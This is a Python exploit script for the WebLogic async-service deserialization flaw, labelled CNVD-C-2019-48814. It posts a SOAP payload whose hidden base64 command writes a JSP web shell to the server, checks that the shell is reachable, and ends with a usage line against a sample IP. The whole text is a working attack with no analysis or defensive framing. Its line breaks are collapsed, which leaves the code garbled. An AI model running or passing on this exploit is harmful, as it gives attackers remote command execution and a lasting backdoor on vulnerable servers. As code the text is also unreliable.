import requests
import sys
def poc():url =str(sys.argv[1])path ="/_async/AsyncResponseService"headers = {'User-Agent': "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36",'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",'Content-Type': "text/xml"}payload = """<?xml version="1.0" encoding="Utf-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>echo Jmx0OyUNCiAgICAgICAgamF2YS5pby5JbnB1dFN0cmVhbSBpbiA9IFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoIm9yYW5nZSIpKS5nZXRJbnB1dFN0cmVhbSgpOw0KICAgICAgICBpbnQgYSA9IC0xOyAgICAgICAgICANCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgDQogICAgICAgIG91dC5wcmludCgiJmx0O3ByZSZndDsiKTsgICAgICAgICAgDQogICAgICAgIHdoaWxlKChhPWluLnJlYWQoYikpIT0tMSl7DQogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgDQogICAgICAgIH0NCiAgICAgICAgb3V0LnByaW50KCImbHQ7L3ByZSZndDsiKTsNCiUmZ3Q7DQo=|base64 -d >servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>"""try:request = requests.post(url+path,data=payload,headers=headers)print '[+] exploit url: %s_async/AsyncResponseService' % urlif request.status_code == 202:print '[+] %s  exploit success!' % urlrequest2 = requests.get(url+'/_async/shell.jsp')if request2.status_code == 200:print '[+]   get shell: %s/_async/shell.jsp  pass is orange ' % urlelse:print '[-]   get shell fail 'else:print '[-] %s  exploit faile' % urlexcept:print '[-] %s  address cannot connect' % url
if __name__=='__main__':poc()

python CNVD-C-2019-48814.py http://111.111.111.111:7001/